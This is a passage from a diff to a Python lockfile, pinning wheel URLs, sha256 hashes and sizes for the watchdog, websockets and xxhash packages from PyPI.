"https://files.pythonhosted.org/packages/68/98/b0345cabdce2041a01293ba483333582891a3bd5769b08eceb0d406056ef/watchdog-6.0.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:490ab2ef84f11129844c23fb14ecf30ef3d8a6abafd3754a6f75ca1e6654136c", size = 96480, upload-time = "2024-11-01T14:06:42.952Z" }, + { url = "https://files.pythonhosted.org/packages/85/83/cdf13902c626b28eedef7ec4f10745c52aad8a8fe7eb04ed7b1f111ca20e/watchdog-6.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:76aae96b00ae814b181bb25b1b98076d5fc84e8a53cd8885a318b42b6d3a5134", size = 88451, upload-time = "2024-11-01T14:06:45.084Z" }, + { url = "https://files.pythonhosted.org/packages/fe/c4/225c87bae08c8b9ec99030cd48ae9c4eca050a59bf5c2255853e18c87b50/watchdog-6.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:a175f755fc2279e0b7312c0035d52e27211a5bc39719dd529625b1930917345b", size = 89057, upload-time = "2024-11-01T14:06:47.324Z" }, + { url = "https://files.pythonhosted.org/packages/30/ad/d17b5d42e28a8b91f8ed01cb949da092827afb9995d4559fd448d0472763/watchdog-6.0.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:c7ac31a19f4545dd92fc25d200694098f42c9a8e391bc00bdd362c5736dbf881", size = 87902, upload-time = "2024-11-01T14:06:53.119Z" }, + { url = "https://files.pythonhosted.org/packages/5c/ca/c3649991d140ff6ab67bfc85ab42b165ead119c9e12211e08089d763ece5/watchdog-6.0.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:9513f27a1a582d9808cf21a07dae516f0fab1cf2d7683a742c498b93eedabb11", size = 88380, upload-time = "2024-11-01T14:06:55.19Z" }, + { url = "https://files.pythonhosted.org/packages/a9/c7/ca4bf3e518cb57a686b2feb4f55a1892fd9a3dd13f470fca14e00f80ea36/watchdog-6.0.0-py3-none-manylinux2014_aarch64.whl", hash = "sha256:7607498efa04a3542ae3e05e64da8202e58159aa1fa4acddf7678d34a35d4f13", size = 79079, upload-time = "2024-11-01T14:06:59.472Z" }, + { url = "https://files.pythonhosted.org/packages/5c/51/d46dc9332f9a647593c947b4b88e2381c8dfc0942d15b8edc0310fa4abb1/watchdog-6.0.0-py3-none-manylinux2014_armv7l.whl", hash = "sha256:9041567ee8953024c83343288ccc458fd0a2d811d6a0fd68c4c22609e3490379", size = 79078, upload-time = "2024-11-01T14:07:01.431Z" }, + { url = "https://files.pythonhosted.org/packages/d4/57/04edbf5e169cd318d5f07b4766fee38e825d64b6913ca157ca32d1a42267/watchdog-6.0.0-py3-none-manylinux2014_i686.whl", hash = "sha256:82dc3e3143c7e38ec49d61af98d6558288c415eac98486a5c581726e0737c00e", size = 79076, upload-time = "2024-11-01T14:07:02.568Z" }, + { url = "https://files.pythonhosted.org/packages/ab/cc/da8422b300e13cb187d2203f20b9253e91058aaf7db65b74142013478e66/watchdog-6.0.0-py3-none-manylinux2014_ppc64.whl", hash = "sha256:212ac9b8bf1161dc91bd09c048048a95ca3a4c4f5e5d4a7d1b1a7d5752a7f96f", size = 79077, upload-time = "2024-11-01T14:07:03.893Z" }, + { url = "https://files.pythonhosted.org/packages/2c/3b/b8964e04ae1a025c44ba8e4291f86e97fac443bca31de8bd98d3263d2fcf/watchdog-6.0.0-py3-none-manylinux2014_ppc64le.whl", hash = "sha256:e3df4cbb9a450c6d49318f6d14f4bbc80d763fa587ba46ec86f99f9e6876bb26", size = 79078, upload-time = "2024-11-01T14:07:05.189Z" }, + { url = "https://files.pythonhosted.org/packages/62/ae/a696eb424bedff7407801c257d4b1afda455fe40821a2be430e173660e81/watchdog-6.0.0-py3-none-manylinux2014_s390x.whl", hash = "sha256:2cce7cfc2008eb51feb6aab51251fd79b85d9894e98ba847408f662b3395ca3c", size = 79077, upload-time = "2024-11-01T14:07:06.376Z" }, + { url = "https://files.pythonhosted.org/packages/b5/e8/dbf020b4d98251a9860752a094d09a65e1b436ad181faf929983f697048f/watchdog-6.0.0-py3-none-manylinux2014_x86_64.whl", hash = "sha256:20ffe5b202af80ab4266dcd3e91aae72bf2da48c0d33bdb15c66658e685e94e2", size = 79078, upload-time = "2024-11-01T14:07:07.547Z" }, + { url = "https://files.pythonhosted.org/packages/07/f6/d0e5b343768e8bcb4cda79f0f2f55051bf26177ecd5651f84c07567461cf/watchdog-6.0.0-py3-none-win32.whl", hash = "sha256:07df1fdd701c5d4c8e55ef6cf55b8f0120fe1aef7ef39a1c6fc6bc2e606d517a", size = 79065, upload-time = "2024-11-01T14:07:09.525Z" }, + { url = "https://files.pythonhosted.org/packages/db/d9/c495884c6e548fce18a8f40568ff120bc3a4b7b99813081c8ac0c936fa64/watchdog-6.0.0-py3-none-win_amd64.whl", hash = "sha256:cbafb470cf848d93b5d013e2ecb245d4aa1c8fd0504e863ccefa32445359d680", size = 79070, upload-time = "2024-11-01T14:07:10.686Z" }, + { url = "https://files.pythonhosted.org/packages/33/e8/e40370e6d74ddba47f002a32919d91310d6074130fe4e17dabcafc15cbf1/watchdog-6.0.0-py3-none-win_ia64.whl", hash = "sha256:a1914259fa9e1454315171103c6a30961236f508b9b623eae470268bbcc6a22f", size = 79067, upload-time = "2024-11-01T14:07:11.845Z" }, +] + +[[package]] +name = "websockets" +version = "15.0.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/21/e6/26d09fab466b7ca9c7737474c52be4f76a40301b08362eb2dbc19dcc16c1/websockets-15.0.1.tar.gz", hash = "sha256:82544de02076bafba038ce055ee6412d68da13ab47f0c60cab827346de828dee", size = 177016, upload-time = "2025-03-05T20:03:41.606Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1e/da/6462a9f510c0c49837bbc9345aca92d767a56c1fb2939e1579df1e1cdcf7/websockets-15.0.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d63efaa0cd96cf0c5fe4d581521d9fa87744540d4bc999ae6e08595a1014b45b", size = 175423, upload-time = "2025-03-05T20:01:35.363Z" }, + { url = "https://files.pythonhosted.org/packages/1c/9f/9d11c1a4eb046a9e106483b9ff69bce7ac880443f00e5ce64261b47b07e7/websockets-15.0.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:ac60e3b188ec7574cb761b08d50fcedf9d77f1530352db4eef1707fe9dee7205", size = 173080, upload-time = "2025-03-05T20:01:37.304Z" }, + { url = "https://files.pythonhosted.org/packages/d5/4f/b462242432d93ea45f297b6179c7333dd0402b855a912a04e7fc61c0d71f/websockets-15.0.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:5756779642579d902eed757b21b0164cd6fe338506a8083eb58af5c372e39d9a", size = 173329, upload-time = "2025-03-05T20:01:39.668Z" }, + { url = "https://files.pythonhosted.org/packages/6e/0c/6afa1f4644d7ed50284ac59cc70ef8abd44ccf7d45850d989ea7310538d0/websockets-15.0.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0fdfe3e2a29e4db3659dbd5bbf04560cea53dd9610273917799f1cde46aa725e", size = 182312, upload-time = "2025-03-05T20:01:41.815Z" }, + { url = "https://files.pythonhosted.org/packages/dd/d4/ffc8bd1350b229ca7a4db2a3e1c482cf87cea1baccd0ef3e72bc720caeec/websockets-15.0.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4c2529b320eb9e35af0fa3016c187dffb84a3ecc572bcee7c3ce302bfeba52bf", size = 181319, upload-time = "2025-03-05T20:01:43.967Z" }, + { url = "https://files.pythonhosted.org/packages/97/3a/5323a6bb94917af13bbb34009fac01e55c51dfde354f63692bf2533ffbc2/websockets-15.0.1-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ac1e5c9054fe23226fb11e05a6e630837f074174c4c2f0fe442996112a6de4fb", size = 181631, upload-time = "2025-03-05T20:01:46.104Z" }, + { url = "https://files.pythonhosted.org/packages/a6/cc/1aeb0f7cee59ef065724041bb7ed667b6ab1eeffe5141696cccec2687b66/websockets-15.0.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:5df592cd503496351d6dc14f7cdad49f268d8e618f80dce0cd5a36b93c3fc08d", size = 182016, upload-time = "2025-03-05T20:01:47.603Z" }, + { url = "https://files.pythonhosted.org/packages/79/f9/c86f8f7af208e4161a7f7e02774e9d0a81c632ae76db2ff22549e1718a51/websockets-15.0.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:0a34631031a8f05657e8e90903e656959234f3a04552259458aac0b0f9ae6fd9", size = 181426, upload-time = "2025-03-05T20:01:48.949Z" }, + { url = "https://files.pythonhosted.org/packages/c7/b9/828b0bc6753db905b91df6ae477c0b14a141090df64fb17f8a9d7e3516cf/websockets-15.0.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:3d00075aa65772e7ce9e990cab3ff1de702aa09be3940d1dc88d5abf1ab8a09c", size = 181360, upload-time = "2025-03-05T20:01:50.938Z" }, + { url = "https://files.pythonhosted.org/packages/89/fb/250f5533ec468ba6327055b7d98b9df056fb1ce623b8b6aaafb30b55d02e/websockets-15.0.1-cp310-cp310-win32.whl", hash = "sha256:1234d4ef35db82f5446dca8e35a7da7964d02c127b095e172e54397fb6a6c256", size = 176388, upload-time = "2025-03-05T20:01:52.213Z" }, + { url = "https://files.pythonhosted.org/packages/1c/46/aca7082012768bb98e5608f01658ff3ac8437e563eca41cf068bd5849a5e/websockets-15.0.1-cp310-cp310-win_amd64.whl", hash = "sha256:39c1fec2c11dc8d89bba6b2bf1556af381611a173ac2b511cf7231622058af41", size = 176830, upload-time = "2025-03-05T20:01:53.922Z" }, + { url = "https://files.pythonhosted.org/packages/9f/32/18fcd5919c293a398db67443acd33fde142f283853076049824fc58e6f75/websockets-15.0.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:823c248b690b2fd9303ba00c4f66cd5e2d8c3ba4aa968b2779be9532a4dad431", size = 175423, upload-time = "2025-03-05T20:01:56.276Z" }, + { url = "https://files.pythonhosted.org/packages/76/70/ba1ad96b07869275ef42e2ce21f07a5b0148936688c2baf7e4a1f60d5058/websockets-15.0.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:678999709e68425ae2593acf2e3ebcbcf2e69885a5ee78f9eb80e6e371f1bf57", size = 173082, upload-time = "2025-03-05T20:01:57.563Z" }, + { url = "https://files.pythonhosted.org/packages/86/f2/10b55821dd40eb696ce4704a87d57774696f9451108cff0d2824c97e0f97/websockets-15.0.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d50fd1ee42388dcfb2b3676132c78116490976f1300da28eb629272d5d93e905", size = 173330, upload-time = "2025-03-05T20:01:59.063Z" }, + { url = "https://files.pythonhosted.org/packages/a5/90/1c37ae8b8a113d3daf1065222b6af61cc44102da95388ac0018fcb7d93d9/websockets-15.0.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d99e5546bf73dbad5bf3547174cd6cb8ba7273062a23808ffea025ecb1cf8562", size = 182878, upload-time = "2025-03-05T20:02:00.305Z" }, + { url = "https://files.pythonhosted.org/packages/8e/8d/96e8e288b2a41dffafb78e8904ea7367ee4f891dafc2ab8d87e2124cb3d3/websockets-15.0.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:66dd88c918e3287efc22409d426c8f729688d89a0c587c88971a0faa2c2f3792", size = 181883, upload-time = "2025-03-05T20:02:03.148Z" }, + { url = "https://files.pythonhosted.org/packages/93/1f/5d6dbf551766308f6f50f8baf8e9860be6182911e8106da7a7f73785f4c4/websockets-15.0.1-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8dd8327c795b3e3f219760fa603dcae1dcc148172290a8ab15158cf85a953413", size = 182252, upload-time = "2025-03-05T20:02:05.29Z" }, + { url = "https://files.pythonhosted.org/packages/d4/78/2d4fed9123e6620cbf1706c0de8a1632e1a28e7774d94346d7de1bba2ca3/websockets-15.0.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:8fdc51055e6ff4adeb88d58a11042ec9a5eae317a0a53d12c062c8a8865909e8", size = 182521, upload-time = "2025-03-05T20:02:07.458Z" }, + { url = "https://files.pythonhosted.org/packages/e7/3b/66d4c1b444dd1a9823c4a81f50231b921bab54eee2f69e70319b4e21f1ca/websockets-15.0.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:693f0192126df6c2327cce3baa7c06f2a117575e32ab2308f7f8216c29d9e2e3", size = 181958, upload-time = "2025-03-05T20:02:09.842Z" }, + { url = "https://files.pythonhosted.org/packages/08/ff/e9eed2ee5fed6f76fdd6032ca5cd38c57ca9661430bb3d5fb2872dc8703c/websockets-15.0.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:54479983bd5fb469c38f2f5c7e3a24f9a4e70594cd68cd1fa6b9340dadaff7cf", size = 181918, upload-time = "2025-03-05T20:02:11.968Z" }, + { url = "https://files.pythonhosted.org/packages/d8/75/994634a49b7e12532be6a42103597b71098fd25900f7437d6055ed39930a/websockets-15.0.1-cp311-cp311-win32.whl", hash = "sha256:16b6c1b3e57799b9d38427dda63edcbe4926352c47cf88588c0be4ace18dac85", size = 176388, upload-time = "2025-03-05T20:02:13.32Z" }, + { url = "https://files.pythonhosted.org/packages/98/93/e36c73f78400a65f5e236cd376713c34182e6663f6889cd45a4a04d8f203/websockets-15.0.1-cp311-cp311-win_amd64.whl", hash = "sha256:27ccee0071a0e75d22cb35849b1db43f2ecd3e161041ac1ee9d2352ddf72f065", size = 176828, upload-time = "2025-03-05T20:02:14.585Z" }, + { url = "https://files.pythonhosted.org/packages/51/6b/4545a0d843594f5d0771e86463606a3988b5a09ca5123136f8a76580dd63/websockets-15.0.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:3e90baa811a5d73f3ca0bcbf32064d663ed81318ab225ee4f427ad4e26e5aff3", size = 175437, upload-time = "2025-03-05T20:02:16.706Z" }, + { url = "https://files.pythonhosted.org/packages/f4/71/809a0f5f6a06522af902e0f2ea2757f71ead94610010cf570ab5c98e99ed/websockets-15.0.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:592f1a9fe869c778694f0aa806ba0374e97648ab57936f092fd9d87f8bc03665", size = 173096, upload-time = "2025-03-05T20:02:18.832Z" }, + { url = "https://files.pythonhosted.org/packages/3d/69/1a681dd6f02180916f116894181eab8b2e25b31e484c5d0eae637ec01f7c/websockets-15.0.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:0701bc3cfcb9164d04a14b149fd74be7347a530ad3bbf15ab2c678a2cd3dd9a2", size = 173332, upload-time = "2025-03-05T20:02:20.187Z" }, + { url = "https://files.pythonhosted.org/packages/a6/02/0073b3952f5bce97eafbb35757f8d0d54812b6174ed8dd952aa08429bcc3/websockets-15.0.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e8b56bdcdb4505c8078cb6c7157d9811a85790f2f2b3632c7d1462ab5783d215", size = 183152, upload-time = "2025-03-05T20:02:22.286Z" }, + { url = "https://files.pythonhosted.org/packages/74/45/c205c8480eafd114b428284840da0b1be9ffd0e4f87338dc95dc6ff961a1/websockets-15.0.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0af68c55afbd5f07986df82831c7bff04846928ea8d1fd7f30052638788bc9b5", size = 182096, upload-time = "2025-03-05T20:02:24.368Z" }, + { url = "https://files.pythonhosted.org/packages/14/8f/aa61f528fba38578ec553c145857a181384c72b98156f858ca5c8e82d9d3/websockets-15.0.1-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:64dee438fed052b52e4f98f76c5790513235efaa1ef7f3f2192c392cd7c91b65", size = 182523, upload-time = "2025-03-05T20:02:25.669Z" }, + { url = "https://files.pythonhosted.org/packages/ec/6d/0267396610add5bc0d0d3e77f546d4cd287200804fe02323797de77dbce9/websockets-15.0.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:d5f6b181bb38171a8ad1d6aa58a67a6aa9d4b38d0f8c5f496b9e42561dfc62fe", size = 182790, upload-time = "2025-03-05T20:02:26.99Z" }, + { url = "https://files.pythonhosted.org/packages/02/05/c68c5adbf679cf610ae2f74a9b871ae84564462955d991178f95a1ddb7dd/websockets-15.0.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:5d54b09eba2bada6011aea5375542a157637b91029687eb4fdb2dab11059c1b4", size = 182165, upload-time = "2025-03-05T20:02:30.291Z" }, + { url = "https://files.pythonhosted.org/packages/29/93/bb672df7b2f5faac89761cb5fa34f5cec45a4026c383a4b5761c6cea5c16/websockets-15.0.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3be571a8b5afed347da347bfcf27ba12b069d9d7f42cb8c7028b5e98bbb12597", size = 182160, upload-time = "2025-03-05T20:02:31.634Z" }, + { url = "https://files.pythonhosted.org/packages/ff/83/de1f7709376dc3ca9b7eeb4b9a07b4526b14876b6d372a4dc62312bebee0/websockets-15.0.1-cp312-cp312-win32.whl", hash = "sha256:c338ffa0520bdb12fbc527265235639fb76e7bc7faafbb93f6ba80d9c06578a9", size = 176395, upload-time = "2025-03-05T20:02:33.017Z" }, + { url = "https://files.pythonhosted.org/packages/7d/71/abf2ebc3bbfa40f391ce1428c7168fb20582d0ff57019b69ea20fa698043/websockets-15.0.1-cp312-cp312-win_amd64.whl", hash = "sha256:fcd5cf9e305d7b8338754470cf69cf81f420459dbae8a3b40cee57417f4614a7", size = 176841, upload-time = "2025-03-05T20:02:34.498Z" }, + { url = "https://files.pythonhosted.org/packages/cb/9f/51f0cf64471a9d2b4d0fc6c534f323b664e7095640c34562f5182e5a7195/websockets-15.0.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ee443ef070bb3b6ed74514f5efaa37a252af57c90eb33b956d35c8e9c10a1931", size = 175440, upload-time = "2025-03-05T20:02:36.695Z" }, + { url = "https://files.pythonhosted.org/packages/8a/05/aa116ec9943c718905997412c5989f7ed671bc0188ee2ba89520e8765d7b/websockets-15.0.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:5a939de6b7b4e18ca683218320fc67ea886038265fd1ed30173f5ce3f8e85675", size = 173098, upload-time = "2025-03-05T20:02:37.985Z" }, + { url = "https://files.pythonhosted.org/packages/ff/0b/33cef55ff24f2d92924923c99926dcce78e7bd922d649467f0eda8368923/websockets-15.0.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:746ee8dba912cd6fc889a8147168991d50ed70447bf18bcda7039f7d2e3d9151", size = 173329, upload-time = "2025-03-05T20:02:39.298Z" }, + { url = "https://files.pythonhosted.org/packages/31/1d/063b25dcc01faa8fada1469bdf769de3768b7044eac9d41f734fd7b6ad6d/websockets-15.0.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:595b6c3969023ecf9041b2936ac3827e4623bfa3ccf007575f04c5a6aa318c22", size = 183111, upload-time = "2025-03-05T20:02:40.595Z" }, + { url = "https://files.pythonhosted.org/packages/93/53/9a87ee494a51bf63e4ec9241c1ccc4f7c2f45fff85d5bde2ff74fcb68b9e/websockets-15.0.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3c714d2fc58b5ca3e285461a4cc0c9a66bd0e24c5da9911e30158286c9b5be7f", size = 182054, upload-time = "2025-03-05T20:02:41.926Z" }, + { url = "https://files.pythonhosted.org/packages/ff/b2/83a6ddf56cdcbad4e3d841fcc55d6ba7d19aeb89c50f24dd7e859ec0805f/websockets-15.0.1-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0f3c1e2ab208db911594ae5b4f79addeb3501604a165019dd221c0bdcabe4db8", size = 182496, upload-time = "2025-03-05T20:02:43.304Z" }, + { url = "https://files.pythonhosted.org/packages/98/41/e7038944ed0abf34c45aa4635ba28136f06052e08fc2168520bb8b25149f/websockets-15.0.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:229cf1d3ca6c1804400b0a9790dc66528e08a6a1feec0d5040e8b9eb14422375", size = 182829, upload-time = "2025-03-05T20:02:48.812Z" }, + { url = "https://files.pythonhosted.org/packages/e0/17/de15b6158680c7623c6ef0db361da965ab25d813ae54fcfeae2e5b9ef910/websockets-15.0.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:756c56e867a90fb00177d530dca4b097dd753cde348448a1012ed6c5131f8b7d", size = 182217, upload-time = "2025-03-05T20:02:50.14Z" }, + { url = "https://files.pythonhosted.org/packages/33/2b/1f168cb6041853eef0362fb9554c3824367c5560cbdaad89ac40f8c2edfc/websockets-15.0.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:558d023b3df0bffe50a04e710bc87742de35060580a293c2a984299ed83bc4e4", size = 182195, upload-time = "2025-03-05T20:02:51.561Z" }, + { url = "https://files.pythonhosted.org/packages/86/eb/20b6cdf273913d0ad05a6a14aed4b9a85591c18a987a3d47f20fa13dcc47/websockets-15.0.1-cp313-cp313-win32.whl", hash = "sha256:ba9e56e8ceeeedb2e080147ba85ffcd5cd0711b89576b83784d8605a7df455fa", size = 176393, upload-time = "2025-03-05T20:02:53.814Z" }, + { url = "https://files.pythonhosted.org/packages/1b/6c/c65773d6cab416a64d191d6ee8a8b1c68a09970ea6909d16965d26bfed1e/websockets-15.0.1-cp313-cp313-win_amd64.whl", hash = "sha256:e09473f095a819042ecb2ab9465aee615bd9c2028e4ef7d933600a8401c79561", size = 176837, upload-time = "2025-03-05T20:02:55.237Z" }, + { url = "https://files.pythonhosted.org/packages/02/9e/d40f779fa16f74d3468357197af8d6ad07e7c5a27ea1ca74ceb38986f77a/websockets-15.0.1-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:0c9e74d766f2818bb95f84c25be4dea09841ac0f734d1966f415e4edfc4ef1c3", size = 173109, upload-time = "2025-03-05T20:03:17.769Z" }, + { url = "https://files.pythonhosted.org/packages/bc/cd/5b887b8585a593073fd92f7c23ecd3985cd2c3175025a91b0d69b0551372/websockets-15.0.1-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:1009ee0c7739c08a0cd59de430d6de452a55e42d6b522de7aa15e6f67db0b8e1", size = 173343, upload-time = "2025-03-05T20:03:19.094Z" }, + { url = "https://files.pythonhosted.org/packages/fe/ae/d34f7556890341e900a95acf4886833646306269f899d58ad62f588bf410/websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:76d1f20b1c7a2fa82367e04982e708723ba0e7b8d43aa643d3dcd404d74f1475", size = 174599, upload-time = "2025-03-05T20:03:21.1Z" }, + { url = "https://files.pythonhosted.org/packages/71/e6/5fd43993a87db364ec60fc1d608273a1a465c0caba69176dd160e197ce42/websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f29d80eb9a9263b8d109135351caf568cc3f80b9928bccde535c235de55c22d9", size = 174207, upload-time = "2025-03-05T20:03:23.221Z" }, + { url = "https://files.pythonhosted.org/packages/2b/fb/c492d6daa5ec067c2988ac80c61359ace5c4c674c532985ac5a123436cec/websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b359ed09954d7c18bbc1680f380c7301f92c60bf924171629c5db97febb12f04", size = 174155, upload-time = "2025-03-05T20:03:25.321Z" }, + { url = "https://files.pythonhosted.org/packages/68/a1/dcb68430b1d00b698ae7a7e0194433bce4f07ded185f0ee5fb21e2a2e91e/websockets-15.0.1-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:cad21560da69f4ce7658ca2cb83138fb4cf695a2ba3e475e0559e05991aa8122", size = 176884, upload-time = "2025-03-05T20:03:27.934Z" }, + { url = "https://files.pythonhosted.org/packages/fa/a8/5b41e0da817d64113292ab1f8247140aac61cbf6cfd085d6a0fa77f4984f/websockets-15.0.1-py3-none-any.whl", hash = "sha256:f7a866fbc1e97b5c617ee4116daaa09b722101d4a3c170c787450ba409f9736f", size = 169743, upload-time = "2025-03-05T20:03:39.41Z" }, +] + +[[package]] +name = "xxhash" +version = "3.8.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/78/ed/07e560876a4458987511461187b285071f53cde49dd5b25cd8c51091522b/xxhash-3.8.0.tar.gz", hash = "sha256:d72b2204f37840b0f16f34192c09b994b97bd25823d723d47a1eddfacf06eb43", size = 86107, upload-time = "2026-06-27T08:17:28.798Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/4f/d1/36cdfc7d9a5cdcebb2ff3eeeaebae2c51a7aca50de27a44520af4d6923fa/xxhash-3.8.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:a2289857ab90ebb2408d4ac2b7cf7e9ff29bba9d2cb21020c9d11fbbaef78eea", size = 34638, upload-time = "2026-06-27T08:12:17.753Z" }, + { url = "https://files.pythonhosted.org/packages/8e/37/f3439475537ca4c59e9b8cbc2b934672d1965b13b6e5fb32b1796c76e517/xxhash-3.8.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d211cfa927a107df09359d1f31070883a11121ddc88fd6dd27eda3a497a88f3d", size = 32316, upload-time = "2026-06-27T08:12:19.332Z" }, + { url = "https://files.pythonhosted.org/packages/a7/3e/3878d943d9169fd8f5ad8d2bffa7dfec14430f8240ef20213772a7ef3dce/xxhash-3.8.0-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:ba02f4cc4e71e1315ecac0468189b49bf3970da05ddf0b6965b4a9b1fe147e62", size = 217379, upload-time = "2026-06-27T08:12:20.742Z" }, + { url = "https://files.pythonhosted.org/packages/af/8a/096f0bf4e4d33b5afcb27e7907d54f84ae3c581509188dca1083995aefd9/xxhash-3.8.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:342d1a6f161741f8612dc38d940ec0019ae3362c0ede2d16554c1b4e3f1d5444", size = 237734, upload-time = "2026-06-27T08:12:22.312Z" }, + { url = "https://files.pythonhosted.org/packages/0e/5b/811939d5d3fdf9b4a9cad7591759cc82c3c4734afb0138917ec3b3fc4fd5/xxhash-3.8.0-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:75feec84a48cafd3b2446cb41910bebaf9a8150e2313c1f42887435818fb7b4c", size = 262522, upload-time = "2026-06-27T08:12:23.869Z" }, + { url = "https://files.pythonhosted.org/packages/3e/e4/50e2b55b1390895214bdd9dc6a75d4c31e0283d646d2cae424962585427a/xxhash-3.8.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:53e8f6cc0cc24283d98e9c742a0f0a5ded7a810abc4038b9e885e419fcd44e43", size = 238441, upload-time = "2026-06-27T08:12:25.95Z" }, + { url = "https://files.pythonhosted.org/packages/4b/fa/725fbd70cc69b2738599c3e1b499941663b6ccef92aec7c78a4c9968f2d0/xxhash-3.8.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:73d04a4520cc7313acf4ff2122f783056d0592c71fc3a59e90fe0baeb499d124", size = 469833, upload-time = "2026-06-27T08:12:27.678Z" }, + { url = "https://files.pythonhosted.org/packages/86/e6/d80a2fcbd80f024d8e74a579aad538c5a24c6b672e6ce8180a9a8bfc2231/xxhash-3.8.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d5a7fdfde5022f5000c8e6565db954580d19a8aa497ef80875f461e4546ed182", size = 217094, upload-time = "2026-06-27T08:12:29.221Z" }, + { url = "https://files.pythonhosted.org/packages/a9/c0/6d85ebdc1e488df9e37c3a2267a8b98a936a36d968560cfb0389307fd19f/xxhash-3.8.0-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:6a667f0dd160ec0ff6dddf42f2d75ad82660074285855f6037d6ecb57d40d0f8", size = 307502, upload-time = "2026-06-27T08:12:30.782Z" }, + { url = "https://files.pythonhosted.org/packages/ca/a2/4b97a5e4fb3450fe0c4b361399f74679a491b3b0bed914bff6d00e70425f/xxhash-3.8.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:aaaf53eb633205f01bb5fb807f6244bd34af121bfb1e21eedc925374aff5723e", size = 234622, upload-time = "2026-06-27T08:12:32.075Z" }, + { url = "https://files.pythonhosted.org/packages/e7/7e/5a227460f92ec7309219730ddfb7451e09e8aa3e0704cfb0f24746686a0f/xxhash-3.8.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:71b2e99a02fd5275b7ecab0b01130395beed4c6f027b6ce9f0730025634e7091", size = 265697, upload-time = "2026-06-27T08:12:33.559Z" }, + { url = 